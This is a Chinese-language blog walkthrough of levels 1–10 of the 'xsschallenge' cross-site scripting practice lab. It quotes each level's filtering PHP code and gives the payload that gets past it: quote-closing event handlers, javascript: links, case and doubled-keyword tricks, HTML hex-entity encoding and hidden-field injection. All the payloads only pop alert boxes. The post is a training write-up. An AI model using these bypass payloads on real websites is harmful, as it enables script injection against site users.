首页 > 其他分享 >xsschallenge通关(1-10)

xsschallenge通关(1-10)

时间:2023-08-25 22:32:15浏览次数:32  
标签:xss 10 代码 level alert str xsschallenge htmlspecialchars 通关

level1

这一关很简单,标准的xss注入,打开hackbar,输入

<script>alert(/xss/)</script>

点击EXECUTE,通关!

xsschallenge通关(1-10)_html

level 2

这一关有一个搜索框,输入

<script>alert(/xss/)</script>

发现直接将这段JS代码当做HTML实体,即普通字符

xsschallenge通关(1-10)_php_02

查看源代码,发现有htmlspecialchars() 函数,会转换双引号、单引号和尖角号成HTML实体,并发现在输出中Value的形式是双引号闭合后接尖角号:

xsschallenge通关(1-10)_搜索_03

这时候要尝试将该语句提前闭合,才能执行我们的弹窗命令,输入:

"> <script>alert(/xss/)</script>

在源代码中相当于:

<input name=keyword  value="' "> <script>alert(/xss/)</script>'">

在搜索框中输入该JS语句,通关成功:

xsschallenge通关(1-10)_html_04

level 3

和第二关类似,进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

代码中用单引号闭合,用onmousemove 事件(onmousemove 事件当指针在元素上移动时发生 。)进行xss注入,在搜索框中输入下面语句:

'onmouseover='alert(/xss/)

移动鼠标后通关:

xsschallenge通关(1-10)_搜索_05

level 4

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现这段代码将尖角号替换成空,value用双引号闭合,只要将第三关的代码单引号改成双引号,就能注入成功

"onmouseover="alert(/xss/)

通关成功:

xsschallenge通关(1-10)_php_06

level 5

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现这段代码将<script、on进行过滤替换,并且用htmlspecialchars()函数将单双引号<,>转换成HTML实体,输出用双引号闭合,而且有strtolower大小写转换,因此可以考虑JavaScript伪标签与a标签一起使用,并用第二关的方法让标签提前关闭,就能通过此关。

输入代码:

"> <a href=javascript:alert(/xss/) > 点击我</a> //

出现一个伪链接:

xsschallenge通关(1-10)_搜索_07

点击后通关成功:

xsschallenge通关(1-10)_搜索_08

level 6

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现第六关将<script、on、src、data、href等关键词都进行了过滤替换,并用htmlspecialchars函数将特殊字符进行了一次转换,但没有过滤大小写,将第五关的代码修改后写入:

"> <a hRef=javascript:alert(/xss/) > 点击我</a> //

或者也可以用下面代码,只需要大小写绕过即可:

"Onmouseover="alert(/xss/)
"> <Script>alert(/xss/)</script>

出现了一个伪链接:

xsschallenge通关(1-10)_php_09

点击后通关:

xsschallenge通关(1-10)_搜索_10

level 7

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现这一关不觉得,不仅将关键词全部过滤,还自带大写转小写,那这怎么做呢?只要在代码中多加几个字母,让它把多余的字母替换成空格,就变成我们想要的了:

"> <sscriptcript>alert(/xss/)</sscriptcript>

"oonnmouseover='alert(/xss/)'

输入到搜索框后通过成功:

xsschallenge通关(1-10)_html_11

level 8

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这一关不仅做了大小写转换、关键词过滤甚至双引号的过滤,下面有一个名叫友情链接的超链接,前面的操作都不能用了,但是没关系,可以将部分代码变成HTML的转义序列

javascript:alert(/xss/)

转码成&#x加16进制数字的方式书写(HTML的转义序列),也可以被HTML识别:

javascript:alert(/xss/)

输入搜索框后点击添加友情链接:

xsschallenge通关(1-10)_php_12

点击下面的友情链接后通过成功:

xsschallenge通关(1-10)_php_13

level9

进行代码审计:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>

跟第八关非常相似,只不过多了一个判断链接是否合法的if语句,要求合法的链接必须有http://,只需要在第八关的代码基础上加上http://即可,由于http://中有了/,所以把xss的/改成单引号

javascript:alert('xsshttp://')

通关成功:

xsschallenge通关(1-10)_html_14

level 10

进行代码审计:

?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现源码中有个参数t_sort,只做><号的转换和过滤,然后输出值在value中,我们可以先将它闭合,然后用type=“text”将前面的字段类型设为文本,再用一个onmouseover事件:

&t_sort=" type="text" onm ouseover="alert(/xss/)

执行后源码的t_sort段会变成这样:

xsschallenge通关(1-10)_搜索_15

移动鼠标后过关成功:

xsschallenge通关(1-10)_php_16


文章知识点与官方知识档案匹配,可进一步学习相关知识

标签:xss,10,代码,level,alert,str,xsschallenge,htmlspecialchars,通关
From: https://blog.51cto.com/u_16227132/7235967

相关文章

  • 20天 hot 100 速通计划-day17
    动态规划70.爬楼梯假设你正在爬楼梯。需要n阶你才能到达楼顶。每次你可以爬1或2个台阶。你有多少种不同的方法可以爬到楼顶呢?示例1:输入:n=2输出:2解释:有两种方法可以爬到楼顶。1.1阶+1阶2.2阶示例2:输入:n=3输出:3解释:有三种方法可以爬到楼顶。1.1......
  • 10.Acwing基础课第797题-简单-差分
    10.Acwing基础课第797题-简单-差分题目描述输入一个长度为n的整数序列。接下来输入m个操作,每个操作包含三个整数l,r,c,表示将序列中[l,r]之间的每个数加上c。请你输出进行完所有操作后的序列。输入格式第一行包含两个整数n和m。第二行包含n个整数,表示整数序列......
  • UVA10192题解
    为了尽可能满足父母亲的要求,我们应该取两个字符串的最长公共子序列。洛谷模板题设\(dp_{i,j}\)为\(a\)串匹配到第\(i\)位,\(b\)串匹配到第\(j\)位时的最长公共子序列长度。则易知\(dp_{i,j}\)可以由\(dp_{i-1,j}\)和\(dp_{i,j-1}\)转移过来。如果\(a_{i}=b_{j}......
  • win10 CUDA11.1安装torch1.9 / reformer_pytorch
    环境NVIDIA-SMI457.52DriverVersion:457.52CUDAVersion:11.1安装torch-gpucondacreate-ntorch1.9python=3.8pipinstalltorch==1.9.1+cu111torchvision==0.10.1+cu111torchaudio==0.9.1-fhttps://download.pytorch.org/whl/torch_stable.htmlc......
  • 每日一练 | 华为认证真题练习Day103
    1、网络设备发送的IPv6报文时,会首先将报文长度和NTU值进行对比,如果大于MTU值,则直接丢弃。A.对B.错2、路由器接口输出信息如下,则此接口可以接收哪些组播地址的数据?(多选)A.FF02::2B.FF02::1:FF12:1C.FF02::1:FF6F:4F36D.FF02::13、以下关于IPv6任播地址说法正确的有?(多选)A.目标......
  • 云计算为中小企业带来的 10 大好处
    云计算的迅速采用并非巧合。中小型企业(SMB)现在有机会摆脱传统IT基础设施的限制,享受云提供的众多优势。它的发展使公司能够更智能、更快速、更安全地工作。因此,如果您发现自己质疑是否需要进行这种转变,请不要害怕!让我们探讨一下使云计算成为中小型企业必备的优势。云使中小型......
  • 用友U8V12.1软件在win10上跳过环境检测成功安装的方法和教程
    https://www.bilibili.com/read/cv19294879/https://www.yyrjxz.com/hf/u8hf.html用友U8+V12.1软件是不支持在win10系统上安装的,原因是环境检测时,iewebcontrols这一项通过不,不管怎么安装都不行,那么怎么在win10上跳过环境检测,让用友U8+V12.1能够安装在win10系统上呢?且看用友小辣......
  • Extract Abends with OGG-01028 Non-Standard Redo Detected in 10g Compatible Forma
    ogg报错ExtractAbendswithOGG-01028Non-StandardRedoDetectedin10gCompatibleFormat抽取进程意外Abend手动重启恢复ExtractAbendswithOGG-01028Non-StandardRedoDetectedin10gCompatibleFormat(DocID1313864.1)根据文档修改添加这个参数'tranlo......
  • 测试DE10-Standard开发板VGA接口(基于ADV7123)输出RGB彩条时显示器显示“无信号”Signal
    SignalTap工具真的是一款非常非常实用的调试工具。最近想显示VGA 三色彩条(源码:基于友晶科技FPGA开发板DE2-115和DE10-STANDARD的VGA彩条显示设计(ADV7123)),引 脚分配和控制信号的设计都检查了  没有错误。也排除了VGA显示器故障(测试DE10-Standard\Demonstration\FPGA\D......
  • windows10下腾讯会议安装
    一、下载官网:腾讯会议官方——腾讯会议会开会(tencent.com)  根据自己操作系统选择版本,我选择windows 点击版本,会下载。 下载完成后,找到路径。  2、安装选择路径的安装包,右键,管理员身份运行。 默认:中文 选择我接受 可以修改安装目录,然后点击安装......